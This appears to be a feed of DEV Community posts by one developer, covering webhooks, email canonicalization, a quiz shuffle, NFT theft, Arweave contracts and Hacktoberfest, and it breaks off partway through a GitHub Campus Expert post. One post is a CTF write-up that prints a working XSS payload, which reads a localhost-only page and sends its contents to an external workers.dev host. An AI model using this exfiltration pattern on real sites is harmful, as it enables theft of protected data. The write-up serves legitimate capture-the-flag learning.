DEV Community: Harish

I built a strange webhook handler in NodeJS

Harish — Sat, 12 Aug 2023 06:16:16 +0000

One fine fintech startup wanted to build a webhook payment handler. This article will walk through how my NodeJS code was able to handle webhook deliveries like a piece of cake.

Context

This client lives and breaths Java and it was also related to payment. So he insisted on using Java, multithreading, Thread pools and all of that shit which I did not understand. And he cared too much about getting it done asap! In fact thats why he came to me cause I had built it already with Javascript. But how am I going to make my single threaded Javascript code handle huge traffic?

Objectives

The webhook payload needs to be validated, transformed and stored into a database.
The webhook was delivered by a 3rd party, so a success response need to be sent back immediately after the delivery. We can't let the webhook get clogged by traffic!
It was a startup, we did not want to spend too much time thinking about scaling and load balancing

Brainstorming

The API needs to be super responsive, so my first thought was to process it asynchronously.
We were on AWS, so we could use EC2! but how are we going to handle scaling? I didn't want to get into that mess. Even with ELB(Elastic load balancer), still need to run multiple containers to process them parallelly.

It hit me after a while, that we are actually fine if we have some delay in the processing. We just want to respond back to the webhook immediately and do not want the webhook server to become unresponsive.

So instead of thinking parallel processing, I started to think how to optimise the response TAT. And we were totally fine with processing the requests with a delay if there is more.

Finally the price, we already had an EC2 running for the APIs. So we need to use the same instance but again cant let the webhook bottleneck API. So our only go to is a lambda which is bad for most cases. But thats the best we could do right now.

The final spec

We have the API gateway connected to the Lambda function. The lambda function was on autoscale so it took care of traffic out of the box. The whole role of the function is to accept the request, push the message to SQS and respond back. This took just 100ms once the lambda is warm.
The same EC2 used for APIs run another docker container that polls the queue every 30 seconds for new messages. If it finds any, it dequeues the message and processes it one by one. Any failure happening while processing wont affect the response sent to the 3rd party as its strictly decoupled. The response has already been sent!

Conclusion

I am not sure if this is the best way to build a webhook handler. But this was the quickest, cheapest solution I could come up with. Feel free to criticise and suggest better ideas.

Follow me on Twitter: twitter.com/HarishTeens
Follow me on GitHub: github.com/HarishTeens

You need to implement this email check

Harish — Fri, 13 Jan 2023 11:29:11 +0000

Are you a backend dev? And your existing email check logic looks something like this?

const email = req.body.email;
const resp = await UserDB.findOne({email: email});
if(resp.length >0)
    throw new Error("Email already exists");
// Create account
...

Your application is at risk! Keep reading

What the heck is Email Canonicalization?

Consider the below emails:

If you are treating all these as different emails, you are wrong ❌

The above emails are all treated as the same email address, is an example of a technique called "email canonicalization" that many email providers use to standardize email addresses for consistency and easier management.

The canonical form of all the above emails post standardisation is hello@gmail.com. Since Gmail doesn't bother about these mild modifications, emails sent to these different emails would land in a single Inbox allocated to hello@gmail.com.

There is not much information on the internet. But this is the textbook definition from RFC standard website: https://www.rfc-editor.org/rfc/rfc6376#section-3.4

Some mail systems modify email in transit, potentially invalidating a
signature. For most Signers, mild modification of email is
immaterial to validation of the DKIM domain name's use.

Why this matters?

Let's say your application collects user emails like majority of the applications. If your check to find existing email directly compares the raw email address. The above 3 email addresses would be treated as 3 different individuals, leading to creation of 3 user accounts. One does not usually expect users to sign up with these mild variatons. But when there is an incentive to, this behaviour tend to happen.

At our company, every new user signup is rewarded. Both referrer and refree are eligible for the reward. Analysing our user data revealed these mild variations of emails being registered as different accounts. And this costed us as they were exploiting our referral program. One could easily configure these mild variations on their Gmail. Since our systems would treat them as new email addresses, they were able to register, verify OTP that landed on the same Inbox and then refer themselves.

The npm package you need

To abstract the logic for the check, I created this npm package canonical-email-generator.

Installation:

npm i --save canonical-email-generator

So far the package refines the emails for these below cases:

Lowercasing: converting all letters in the email address to lowercase before comparing or storing it. This helps to ensure that "Hello@example.com" and "hello@example.com" are treated as the same email address.
Removing sub-addressing: removing the "+" character and any text following it in the local part of the email address. For example, "user+home@example.com" would be canonicalized to "user@example.com".
Removing comments: removing any text within parentheses in the local part of the email address. For example, "user(home)@example.com" would be canonicalized to "user@example.com".
Removing leading or trailing whitespace: removing any whitespace before or after the email address.
Removing dots: removing dots from local part of the address, For example "hell.o@gmail.com" would be canonicalized to "hello@gmail.com"

I would be actively maintaining it and adding more checks as I discover. So you're good to go.

Implementing the better way

The invalid account signup could be eradicated by converting the email to its canonical form before checking the database. But for that you need to store the canonical form in your database as well.

const { canonicalizeEmail } = require('canonical-email-generator');
...
const email = req.body.email;
const canEmail = canonicalizeEmail(email);
const resp = await UserDB.findOne({canEmail: canEmail});
if(resp.length >0)
    throw new Error("Email already exists");
// Create account and store canonical email to DB
...

Yes it is an extra field in the same table or a separate table if you wish. But the extra storage could prevent a ton of invalid users being created.

Potentially a single gmail inbox could be used to create infinite variations. Hence it's worthwhile to implement.

Conclusion

Exact email comparison fails. It's bad.
It is possible to generate infinite emails that lead to a canonical email.
The inbox is uniquely identified by its canonical email.

Hope you learnt something valuable ✨

Find me on Twitter: @harishteens
GitHub: @harishteens

Quiz Maker Algorithm

Harish — Sun, 25 Sep 2022 09:19:01 +0000

Problem Statement

Given D days and N users.
Build a quiz maker that picks 5 random questions every day from the question set.
Satisfying the below conditions:

the likelihood of two users having the same question on the same day is low.
the questions are not repeated for any user.

The question set is of length S, which is atleast (D x 5) to gurantee 2nd condition.

Ofcourse we can make (N x D) number of questions to make this simple, but it is practically impossible to find those many questions. And to store all of them is a poor usage of storage.

Solution

The efficient way to do this is to build an algorithm that generates a list of length (D x 5) having numbers ranging from 1 to S. To locate the questions for today(T), we simply have to get the questions from [Tx5, Tx5 + 5].

For example if D = 3; S = 15; the lists of users could be

[10, 2, 1, 12, 9, 14, 11, 6, 7, 4, 5, 0, 3, 8, 13]

[1, 0, 10, 3, 11, 7, 12, 2, 9, 6, 4, 13, 8, 14, 5]

[11, 13, 14, 1, 4, 12, 9, 0, 2, 3, 8, 5, 10, 6, 7]

Exploring available solutions

Generating a random list

Let us begin to explore how we could generate this random list. I did some googling and found this useful website random.org. It was able to generate random sequences from 1 to N.

Problem Solved! Right? Not so soon, haha

If we generate a random sequence for every user, we would have to store it somewhere on a database. Now there are two concerns with this approach:

Cost of storing a (D x 5) array for N users. For larger N, this might cost a lot.
This is the biggest, if there were to be a leak in the API security and somebody was able to retrieve their list of questions for all days. Then they would know all the questions they are going to receive beforehand.

Hence need to take a different approach.

Deterministic Pseudorandom list

To solve the above 2 problems, I decided not store the array anywhere in Database. Every day when a user requests for their question I shall generate the array in runtime and pick the questions for the day. But for it to work, I would have to generate a deterministic list of numbers for each user. Or else I would be generating random list of numbers every day for the same user. Fortunately random.org had that option as well.

On Advanced Mode, you can seed the randomiser with an input string. So for every unique string, it gives a unique random sequence. It flashed that I could simply pass the user_id and get their respective sequences.

Although their pricing plan was very generous, the fact that it could be done motivated me to build something of my own.

Walkthrough of my solution

Fisher Yates Shuffle algorithm

After digging for a while, I found about Fisher Yates Shuffle algorithm on a stack overflow post. The algorithm is brilliantly crafted. Here is a link that contains beautiful visual explanation of Fisher Yates Shuffle. It is a prerequisite to go through it before you move ahead with this article. I've extended Fisher Yates and customised it according to my needs.

I'll brief what the algorithm is, if in case you haven't checked the website. Fisher Yates Shuffle is an in-place shuffling algorithm that runs in O(n). The idea of it is to pick a random index and swap the element on the random index with the first index. If you repeat this N times decrementing your random range. At the end of it, you would have a shuffled array.

Would highly recommend going through the link.

Extending Fisher Yates to give deterministic sequence

Now that I knew about this. All I needed to do was, generate a list from 1 to S and run Fisher Yates on it. Then I would have my expected list.

function shuffle(array) {
  var currentIndex = array.length, i;

  // While there remain elements to shuffle…
  while (currentIndex != 0) {

    // Pick a remaining element…
    i = Math.floor(Math.random() * currentIndex--);

    // And swap it with the current element.
    [array[currentIndex], array[randomIndex]] = [
    array[randomIndex], array[currentIndex]];
  }

  return array;
}
const arr = Array.from(Array(15).keys())
shuffle(arr)

But if you look closely, this is still shuffling randomly. Now we need to make it pseudorandom using the user_ids. The userId after removing hyphens given by AWS Cognito were of length 32. So I had to figure out a way to use these string bytes for randomizing. Here is my way of doing it:

Step 1
Repeat the string until it is of S length

const multiplier = Math.ceil(array.length / str.length);
for (let i = 0; i < multiplier; ++i)
  clonedStr = clonedStr + newStr;

Step 2
Now we can use this clonedStr byte values to pick random Indices. Here is how the modified while loop would like:

while (currentIndex != 0) {
    rndSeed = rndSeed + clonedStr.charCodeAt(currentIndex);

    // Pick a remaining element.
    randomIndex = rndSeed % array.length;
    currentIndex--;

    // And swap it with the current element.
    [array[currentIndex], array[randomIndex]] = [
    array[randomIndex], array[currentIndex]];
}

I basically pick the ASCII code of the character and mod it with the length of the array to get a pseudo randomIndex. Since the userIds are fixed, this loop always shuffles the array in a deterministic manner.

Step 3
To add additional security, I used a custom Salt value. So even if my algorithm and userId is exposed. Im relying on the secretly stored environment variable for securing the salt. Here is how I implemented salt:

const secretSalt = process.env.SECRET_SALT;
let newStr = "";
for (let i = 0; i < str.length; i = i+1 )
    newStr = newStr + String.fromCharCode((str.charCodeAt(i) + secretSalt) % 256)

I stuff each byte with my salt so the attacker needs to also get my salt to know his sequence. It might not stop them entirely, but definitely will slow them down significantly.

The final version

import moment from 'moment';

const TOTAL_NUMBER_OF_QUESTIONS = 150;
const QUIZ_START_DATE = moment("20220919", "YYYYMMDD");

function shuffle(array: number[], str: string) {
    let currentIndex = array.length, randomIndex: number;
    const multiplier = Math.ceil(array.length / str.length);

    const secretSalt = process.env.SECRET_SALT;
    let newStr = "";
    for (let i = 0; i < str.length; i = i+1 ) newStr = newStr + String.fromCharCode((str.charCodeAt(i) + secretSalt) % 256)
    let clonedStr = "";
    for (let i = 0; i < multiplier; ++i) clonedStr = clonedStr + newStr;

    let rndSeed = 0;

    // While there remain elements to shuffle.
    while (currentIndex != 0) {
        rndSeed = rndSeed + clonedStr.charCodeAt(currentIndex);

        // Pick a remaining element.
        randomIndex = rndSeed % array.length;
        currentIndex--;

        // And swap it with the current element.
        [array[currentIndex], array[randomIndex]] = [
        array[randomIndex], array[currentIndex]];
    }

    return array;
}

function getTodaysQuestions(userId: string) {
    const questionsArray = Array.from(Array(TOTAL_NUMBER_OF_QUESTIONS).keys())
    const seedString = userId.split("-").join("");
    shuffle(questionsArray, seedString);
    const today = moment()
    const diff = today.diff(QUIZ_START_DATE, 'days');

    return questionsArray.slice(diff * 5, (diff + 1) * 5);
}
getTodaysQuestions("noob-master-69")

Conclusion

Thanks for reading. Hope it was useful to you in some way. Please feel free to reach out to me if you want to share improvements or feedbacks. Always happy to know.
Reach out to me via Twitter

The Tale of Digital Art Theft - Part1

Harish — Sun, 20 Feb 2022 17:42:51 +0000

While NFTs are booming, or probably they could be a bubble. Nobody can tell. What's real is digital art theft! This project tries to solve this problem by gathering and organising information from all appropriate sources. Hence I named this project "The Collective Truth(TCT)".

The problem

Let's discuss the NFT Art theft in detail first before we move ahead. There are several ways in which bad actors steal digital art. The two common kinds are Spoofing and Fraud.

Spoofing

Bad actors disguise to be the original owner of the art and trick people into buying. Since every art piece is made publicly available, anybody could view it. And if you could view it, you can download it and save a copy.

For example, Bad actors have bots set up to scrape of new and hot NFTs that are listed and re-mint them on their account. Yes, NFTs are non-transferrable and secure. But no buyer is going to go and look for the token address and make sense out of it. All they see is the art, and if it looks alike. They most probably are going to believe it. Usually these bad actors, go a level above and maintain an appealing social media profile by creating fake accounts that resemble the original creator. It's quite compelling and the rush often gets people into buying something not what the seller is claiming to be.

Fraud

The digital art creator community is well aware of the Spoofing problem. This is one of the biggest concerns for creators to not mint an NFT out of their art. They would rather be away from this mess. But unfortunately even the ones who dont mint an NFT get exploited too.

I found this very depressing story where the bad actor stole the art from the creator's website and sold it to a big company on Fiverr. The big company didn't do their due diligence properly so they believed the person whom they bought it from was the creator. I dont see why they would wanna make any effort into verifying a creator on Fiverr, they would just be happy that get got good art for a lower price. At last, the creator would find about this theft after 3 years when he noticed his art being sold at the company's NFT marketplace. The creator wasn't even making any money out of his work, he was just publishing them for free out of passion. When he found out, he would send emails demanding his art to be taken down immediately.
For the complete story , check this video

Present solutions

After researching a bit, I found these measures at place that sort of solves the problem.

1. OpenSea's Portfolio

OpenSea is one of the largest and most used NFT marketplaces on the Ethereum chain. Artists who have been part of the ecosystem enjoy its benefits of having a verified Profile and all their collections at one place.

In the above example Artist page, one can see all the useful statistics like traded volume, number of items..etc
This plays a crucial role in identify the legitimacy of the artist. One can also notice the link to their Twitter account, that adds an additional set of trust.
Honestly, I appreciate the OpenSea team for putting in this much effort.
But I got a few problems with OpenSea.

OpenSea keeps adding all the features that pulls artists together and the best case we got is they become the next monopoly like Google imposing all the necessary features under their Premium feature. Thats just the best case :) For NFTs which is supposed to be "decentralised", this future feels like we are the mercy of big corps like this. Now I know Moxie put up some real valid points about this that people dont want to run their servers. So definitely they are not going to build their own security systems. But there just gotta be a better way.

Deviant Art

Deviant Art is another well-known marketplace. They have been in the game even before NFTs were a thing. And they have boarded the NFT wagon once it occurred. I found this article with the amazing title Calling All Creator Platforms to Fight Art Theft. Even before reading through it, I had a good feeling that this is going to be something different. But, it wasn't :/
It was pretty good though, they've implemented a realtime AI engine that goes through all of the uploaded art and detects if there is a similarity to an existing art. If there is a potential spoof, it sends an email to the creator. They call is "DeviantArt Protect". I also read that they are working with other marketplaces to integrate this feature.
Like I said, its pretty good. It's the best in the industry.

Again the problem is that it is only to users who have their Core Membership.

I very well understand individuals can't build such tools pouring in millions of dollars and perform full time like their R&D. That's why Youtube is so powerful, they have the most robust Digital fingerprinting technology. It's called Content ID. This is used on Youtube to identify copyrighted content very quick.

I certainly believe the purpose of decentralisation is to take what the big companies do at scale and decentralise it. If the nodes can solve cryptographic nonce to commit a transaction, they definitely can co-ordinate and do the same compute. Web3 has a long way to go to become mainstream but if the smart engineers keep working around these fundamental problems rather than trying a make a quick buck, we can get there sooner.

A lot of people probably dont care about this. Others might view them as rants, I won't blame you. Even I feel that way sometimes...

Beginner's guide to deploy smart contract with an example

Harish — Wed, 03 Nov 2021 09:31:53 +0000

This guide tries to explain how to write and deploy smart contracts to Arweave using Javascript.

Fundamentals
PreRequisites
Introduction
Setting up inital state
Updating state
Deployment
Interacting with the contract
Summary

Fundamentals

What is a smart contract?

Smart contracts are digital substitutes of real world contracts. Once its coded and pushed to the chain, its immuatable, hence cannot be changed!

How to write one?

There are plenty of networks out there. I deployed my contract to Arweave. Unlike many other networks, the smart contracts on Arweave can be written in JavaScript. The process to write and deploy one is fairly straight forward.

PreRequisites

Complete the above steps before moving ahead.

Introduction

There are two steps to deploying Smart Contracts on Arweave once the prerequisites are completed.

Write the smart contracts Go through the Contract writing guide by Arweave Team. It contains an example of Hello World that should set your fundamentals straight.
Deploy them via CLI Once the contract files are ready. To deploy it via the CLI, you would need to export the private key of your Arweave/Finnie Wallet which you must have created earlier. Here is the CLI Usage guide.

Setting up initial state

Please go through the introduction section and explore the attached resources before moving ahead.

Example Contract description : Set up a Decentralised marketplace where people can donate to crowdsource fundraiser listings.

Time to build our Crowdsource App 🥳🥳🥳

In order to do that, we need two contracts to make it work.

A Collection contract that would contain all the information regarding the listing in its state

{
  "owner": "6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ",
  "name": "Tabs over Spaces",
  "description":"This is my first petition. Please vote this petition to make spaces illegal",
  "funds":{
    "raised":0,
    "goal":100,
    "records":{

    }
  }  
}

A Parent Crowdsource contract that would contain references to the above created collection contracts in its state

{
    "owner": "6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ",
    "name": "CrowdSource | PeopleHelpPeople",
    "collections":{}
  }

Updating state

There are two operations that could happen:

Users enlist a new crowdsource collection
Users donate funds to the collection

NOTE: These actions are basic and preliminary. Since I didnt have much time during the hackathon, this was all I could build. But obviously it could be expanded to make the system more usable and robust.

Enlisting a Collection Contract

Lets take a look at the enlist function on the Parent Contract

export function handle(state, action) {

    if (action.input.function === 'enlist') {
        if (typeof action.input.listingId === 'undefined') {
            throw new ContractError(`PetitionId cant be null`)
        }
        if (state.collections.hasOwnProperty(action.input.listingId)) {
            throw new ContractError(`PetitionId already exists`)
        }
        state.collections[action.input.listingId] = 1
        return { state }
    }

    throw new ContractError('Invalid input')
}

The enlist function performs the essential checks firstly, then adds the reference to the collections object of the state. This serves as a means to keep track of all the crowdsource contracts on the chain.

After enlisting a collection contract, the parent contract state should like this:

{
  "owner": "6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ",
  "name": "CrowdSource | PeopleHelpPeople",
  "collections": {
    "Ji6MP-Wt_LYk6yaTsxEnhlpbRpAu08248PUTxnp2qOU": 1
  }
}

Donating to a Collection Contract

Once the collection is enlisted, users could transfer funds to the collection. Feel free to use any wallet services to transfer tokens. But make sure you got the correct address on the owner field.

Since I used Finnie wallet, I put my Finnie address inside the owner field.

Here is the Collection Contract

export function handle(state, action) {

    if (action.input.function === 'donate') {
        if (typeof action.input.donorId === 'undefined') {
            throw new ContractError(`DonorId cant be null`)
        }
        if (typeof action.input.amount === 'undefined') {
            throw new ContractError(`amount cant be null`)
        }

        if (typeof action.input.amount !== 'number') {
            throw new ContractError(`amount must be a number`)
        }

        state.funds.records[action.input.donorId] = action.input.amount;
        state.funds.raised += action.input.amount;
        return { state }
    }
    throw new ContractError('Invalid input')
}

After performing essential checks, the contracts state is updated with the donor payment ID(address) and the amount of funds they have contributed.

The default currency is assumed to be KOII. Again a place for improvement. To support various currencies, currency field could be added to the record.

This is how the collection contract would look like once users have donated some funds.

{
  "owner": "6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ",
  "name": "Tabs over Spaces",
  "description": "This is my first petition. Please vote this petition to make spaces illegal",
  "funds": {
    "raised": 1.2109999999999999,
    "goal": 100,
    "records": {
      "Ji6MP-Wt_LYk6yaTsxEnhlpbRpAu0824": 1.21,
      "6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ": 0.001
    }
  }
}

Deployment

To deploy the contracts, use the Smartweave create command:

smartweave create [SRC LOCATION] [INITIAL STATE FILE] --key-file [YOUR KEYFILE]

It takes around 10-15 minutes for the contract to be deployed. Note that you would have to spend some AR in order to deploy the contract.
Once the create command completes, the CLI will output a unique transaction ID for the transaction. This ID is essential to proceed forward.

To check the status of the transaction

arweave status [CONTRACT TXID]

To read the state of the contract

smartweave read [CONTRACT TXID]

For a web GUI experience, check out Viewblock.io. Its a handy website to check all the information about your contracts state, tags and transactions.

Interacting with the contract

It is time to send payloads to interact with the contract i.e. update the state. We would be using the enlist and donate functions that we set up earlier on the contracts.

To interact with the transaction:

smartweave write [CONTRACT TXID] --key-file [YOUR KEYFILE] \
  --input "[CONTRACT INPUT STRING HERE]"

For enlisting a contract

smartweave write [Parent Crowdsource Contract TXID] --key-file [YOUR KEYFILE] --input "{"function":"enlist","listingId":"<Collection contract TXID>"}"

For donating tokens to a collection

smartweave write [Collection Contract] --key-file [YOUR KEYFILE] --input '{"function":"donate","donorId":"<Donor wallet address>","amount":<number of tokens>}'

Summary

Congratulations 🥳🥳🥳

Hope you liked reading through the article. To summarise the learnings, you should have understood:

What are smart contracts
How to write and deploy one on Arweave
How to Interact with them

Read about my project I built for the hackathon if you're interested below 🙂

Bonus Tip

All of these are done via CLI, but to scale it to a real world application. You would need to the Arweave SDKs and APIs.

Happy Exploring 😉

About my project

Its called People Help People, the origin of the name comes from the idea of a society where people are not dependent on middle men or central systems to help each other. One can find more information about the Aim and Goals on the Pitch Deck.

This is a blockchain based project. It has two parts to it. The smart contracts and the web client interface.

The project presently consists of two prototypes

Both of these prototypes inherits the idea of PHP, i.e. to defeat the intervention of a central system. Hence I covered only one of them in the article. Once I learnt the basic fundamentals of how smart contracts work and how to write one, giving life to these two ideas was plain sailing.

Devfolio Submission link: https://devfolio.co/submissions/people-help-people-a3c8

GitHub Repo link: https://github.com/HarishTeens/PeopleHelpPeople

I had to struggle a lot to walk through the right steps in order to learn this. So I tried my best to make the learning smooth for a beginner. Please share your feedbacks in the comments.

Join the Movement

If you're interested in joining the movement, dm me on Twitter so I could add you to the organisation People Help People on GitHub. It's a very recent org, so it appears to be blank at the moment. But definitely planning to work on it in the future ✨

Follow me on Twitter @HarishTeens

Blink Host | Auth0 CTF Write-up

Harish — Wed, 27 Oct 2021 04:53:54 +0000

Background

This web challenge was hosted on Auth0 CTF 2021. Read more about it here. This challenge was tagged for 625 points with a 2 star rating. I would categorise the difficulty level as Beginner-Intermediate. Download the challenge file from this link. The zip file extracks to a challenge folder with docker config. To setup the docker container in local, simply run the build-docker.sh file and you should be good to go.

The following is a write-up for the aforementioned challenge, give it a shot yourself before reading ahead.

Recon
Initial thought process
Exploring Pupeeteer
Building the solution
Summary

A quick overview of the application would be that it is a dynamic website that lets you submit a support ticket via an input form. There are other routes as well but it cant be accessed normally with the browser. Like you guessed, the flag is buried in one of the protected routes.

Recon

First I started browsing through the source code to understand what all technologies are used.

Express App (JS) : The app uses ExpressJS for the backend.
Nunjucks: The most commonly used templating library is Nunjucks. Once I saw this maybe there is some injection possible somewhere.
SQL DB: Alright, the database was on SQL. I got excited to see this one as I'm a big fan of SQLi scripting. sqli
Puppeteer: There was also Puppeteer. I've barely used it, so I just had in the back of my head. Not sure what would be possible with it.

This was all I got from a bird's eye view. This is usually the first thing I do. Next is to understand what the app does, like really trying to understand what operations it is performing under the hood.

After browsing through the files. Of all the routes, the only 3 that mattered are the following:

settings
/tickets
/api/submit_ticket

Out of these, only the 3rd route is accessible via the browser. The first two routes are guarded by a condition that allows traffic originated only within the network i.e. from localhost.



if(req.ip != '127.0.0.1') return res.redirect('/');

So whenever I try to goto any of the endpoints from the browser, it simply redirects to the landing page.
Coming to the most important part, the flag was present inside settings.html that could only be accessed via the settings route. Let us explore how we could retrieve the flag.

Initial thought process

location of the flag
in order to get to the flag, we gotta expose settings.html
and that is blocked only from 127.0.0.1

Since the flag was hid behind the /settings endpoint, it can only be accessed within the network. If we somehow trick the server into thinking that the request originated within the network, it must lead us to settings.html.

My initial thought process was to simply try spoofing the request, make the server believe that the request is in fact originated from localhost. So I tried googling how to do that and found the X-Forwarded-For header. Basically I was trying to understand how node identifies the request IP, so I thought I could send a payload there. This post helped me send a curl request with the above header set to 127.0.0.1. Unfortunately, that didnt work.

After trying to set other header's, I realised that the request cannot be spoofed. It has to be legit!

Exploring Puppeteer

The only piece I had'nt explored was Pupeeteer which in fact visited the /tickets route right after a ticket is submitted. If you're hearing about Puppeteer for the first time, read their website. In simple terms, its a bot that mimics how a user interacts with websites.

Exploring its code...



router.post('/api/submit_ticket', async (req, res) => {
    const { name, email, website, message } = req.body;
    if(name && email && website && message){
        return db.addTicket(name, email, website, message)
            .then(() => {
                bot.purgeData(db);
                res.send(response('Ticket submitted successfully! An admin will review the ticket shortly!'));
            });
    }
    return res.status(403).send(response('Please fill out all the fields first!'));
});

This was actually fishy cause, the purgeData function is being called right after a ticket is submitted. So what essentially happens is the bot visits the page and then it simply clears the db. Its strange, but yeah thats what it does.

Now I was wondering, can I trick Puppeteer to visit the /settings route that contains the flag somehow? So I began exploring the bot code and routes. No SQLI was possible, it was cleverly filtered. So thats out of the equation. Even template injection wouldnt work.

After some exploration, I noticed the ticket from db is fetched and rendered on the tickets HTML DOM. Suddenly it hit me, would a simple XSS work? cause its just rendering the field from the db without sanitizing it. But the big question is how would I know if it worked? I ain't visiting the site, Puppeteer does.

Lots of problems to be solved here...

To test my theory, I had to make Pupetter call my external API endpoint by sending a JS payload.

A few seconds after I hit submit, I saw a GET request being made to this endpoint in the logs . My theory works, Tada 🎉🎉🎉

Building the solution

Now that I know Puppeteer can send data outside, all I had to do was write a JS script that grabs the flag from /settings route and sends it to my Cloudflare API.

This solution would work cause it is in fact Pupetter which is running locally(request IP is 127.0.0.1) that visits the /settings endpoint, not me!!!

So here comes the easy part



    fetch("http://127.0.0.1:1337/settings")
    .then(response => {
        return response.text()
    })
    .then(html => {
        var exp=html.substring(html.lastIndexOf("HTB{"))
        fetch('https://curly-art-0176.designrknight.workers.dev/a='+exp)
    })

The simplest JS script to visit settings page, grab the flag and send back in the GET param. This could probably be the smallest backdoor script that I've ever written xD.

As soon as I hit submit, I got a hit on the logs. The param had the flag. And yes it was the right one!

Summary

The website is XSS susceptible. So write a fetch request that visits settings route, grabs the flag and then posts it back to an external endpoint. This worked because pupetter didnt block external network connetions. These two are the major vulnerabilities here.

Follow me on twitter.com/HarishTeens

I would like to thank Auth0 for hosting the CTF ✨. Special thanks to @DesignrKnight | Partner in crime.

How I built the API for Hacktoberfest Validation

Harish — Wed, 18 Nov 2020 04:51:14 +0000

If you're up for some old Queen hits, feel free to turn it up!

Where it all started

Online certificates have become a huge thing nowadays. With people posting certificates on LinkedIn, no one seems the bother about its authenticity or value. All this for what? to incentivize people? Hmm...

More and more digital documents came into play. Things like Photo frames, Online ID Cards, Badges for attending events...etc. Assigning people with badges seemed like a cool thing to do. That's when we started digging and came to know about DSC OMG event. DSC OMG is a global conference for talks, workshops and events for developers. They had used a badges framework wrapped around their event. At the end people had badges in their dashboard for crazy things like attending a particular session, logging in first, staying up till the end. One could easily think of a billion ways to assign badges.

The badges Framework

We at DSC NIT Rourkela have wrapped our website with the same badges framework which DSC OMG had used. Thanks to Kautuk Kundan (the creator of the badges framework).

After setting up the badges server, even we went crazy and started giving away badges for all sorts of activities. At the end of October, I had this thought of assigning badges to the ones who have completed the Hacktoberfest 2020 Challenge. When I first thought about it, I didn't really give much thought about it. Since it is GitHub and DigitialOcean has already done, assumed it to be fairly straightforward. And it is if you know how it is done :).

Getting to work

Before getting into coding, I first picture the flow of all the things that need to be done. Firstly, there would be a login button on the front-end which authenticates the user and send a token to some server. Then that server fetches the PR history and does the validation check, return back with a Success True/False response.

Setting up an OAuth GitHub app was really easy. Once that is done, I started looking into the GitHub API Docs.

The Problem

As I was going through the Docs, I couldn't find any API which gives away the PR of an authenticated user. That really hit me hard. It didn't make sense, because DO has done it, so there must be a way. I was thinking to use search queries, even considering scrapping the page( sorry GitHub :/). No luck whatsoever.

I pretty much gave up and thought maybe DO has some internal affair with GitHub. The big enterprises get it done. It was a big surprise to me when I got to know that the entire Hacktoberfest website, server and client was on GitHub. I felt like I hit a JackPot! It didn't even last for a second :(.

Exploring DO's Hacktoberfest Repo

The entire codebase was on Ruby and I have no idea of Ruby. Tried going into random files in hope to figure something out, but no luck. I've used Python, JavaScript, C++ and even PHP. But Ruby was totally strange! No one I knew had a good understanding of Ruby. Out of frustration, I went to the contributors list and started mailing them!

Yes, that is what I did. Found the top contributor, her name is Frida. She had her mail on GitHub, even though I couldn't really comprehend why she would help me. Yet I mailed her, then I found a username called MattIPv4. This dude had his Twitter handle on GitHub, and his GitHub Profile said Community Platform Manager @digitalocean. Now, this is the real jackpot.

The Magic

I texted Matt on Twitter, He asked me to drop a mail to Hacktoberfest support. As Matt suggested, I sent the same mail which I had sent to Frida. I was surprised to get a reply back within 17 mins.
Below is the reply I got

As one could see, the file for the individual functionalities was clearly mentioned. This was like the ultimate tip, went right into the files, although I was not able to recognise any Ruby Code. I found out that there is a GraphQL query which fetches PR History. Yes, I was initially referring to only REST API of GitHub as I wasn't very much comfortable with GraphQL. I didn't even have to write my own GraphQL query, I copy pasted the exact query which was in the repo to my NodeJS GraphQL client.

Actual work begins

Now that I have the data, I just had to filter the PR based on the guidelines. Quickly I fired up an Express Server with all the basic setup. I always prefer Express and NodeJS for backend, it is powerful and super fast to build. With NPM, one could do any damn thing they want to, cause there would be an NPM package for every damn thing B|.
I filtered the data according to the updated guidelines, even added support to handle PRs which counts before the guidelines were updated.

What the API does

The API takes in the user token and responds back with a {success:True} if they have completed the challenge else {success:False} if they haven't. Check out the Repository on GitHub to see an example Request and Response.

HarishTeens / hacktoberfest-validation

Hacktoberfest 2020 Validation Checker

Introduction

An API to simulate DigitalOcean's Hacktoberfest Validation Check.

Step to Use the API

Make a POST Request to http://localhost:4000/hacktoberfest .
Send your PAT(Personal Access Token) in Body. Check this link to get your PAT.

Example

Request

Response

If completed, { success:true }
else { success:false }

References: Official Digital Ocean's Repository

Special Thanks to @fridaland and @MattIPv4

View on GitHub

How the API works

Here are the steps which execute in sequence

Get User Token
Fetch PR History
Filter the PRs in accordance with DO's guidelines.
Return True/False based on the count of valid PRs.

What more could be improved

For now, it just works. There is literally zero error handling, if things don't go as expected, the app would definitely break. I am not super proud about that, will definitely work on it.
Also the filtering logic and steps could be done more efficiently. Couldn't really get that logic from DO's repo as it was in Ruby.

Conclusion

If you have reached this point, probably you are wondering. What is so great about this? This is a piece of cake to me, I could code this in an hour. I'd say great!

This is not a tutorial on how to build the Hacktoberfest Validation API. This is the story of how I got to it. It felt really magical to see Matt replying to a random stranger's Twitter text and a magic mail which points me to the right direction. All adding more beauty of how opensource works. Also, I got the mail back from Frida a day later! Lastly, this is not an article to praise DigitalOcean and their support.
P.S. Shhh... They didn't pay me ;)

I was really amazed that day when I realised that people are so kind and helping in the open-source community. It was a blissful experience on the whole <3.

Woofy Greet Actions

Harish — Thu, 17 Sep 2020 14:23:34 +0000

My Workflow

Woofy Greet

Woofy greet actions could be used to make comment with a dog GIF and template text whenever someone sends a Pull Request.

Submission Category:

Maintainer Must-Haves

Yaml File or Link to Code

Marketplace Link

Additional Resources / Info

To get a random GIF of the dogs, the actions uses NPM package provided by Giphy

Everything you need to know about GitHub Campus Expert 🚩

Harish — Thu, 13 Aug 2020 14:37:13 +0000

This post targets all of those who have no idea about what GitHub Campus Experts program is or even what GitHub is, or you might have heard these names somewhere and want to shine a little light on what exactly these are.

What is GitHub?

GitHub is a code hosting platform for version control and collaboration. It lets you and others work together on projects from anywhere. If you are getting into tech and have not used Github, I promise you it will be a delight and will make your life a lot less painful.

GitHub Education helps students, teachers, and schools access the tools and events they need to shape the next generation of software development. There are a variety of programs GitHub offers as part of GitHub Education. Among one is the GitHub Campus Experts Program.

What is a GitHub Campus Expert?

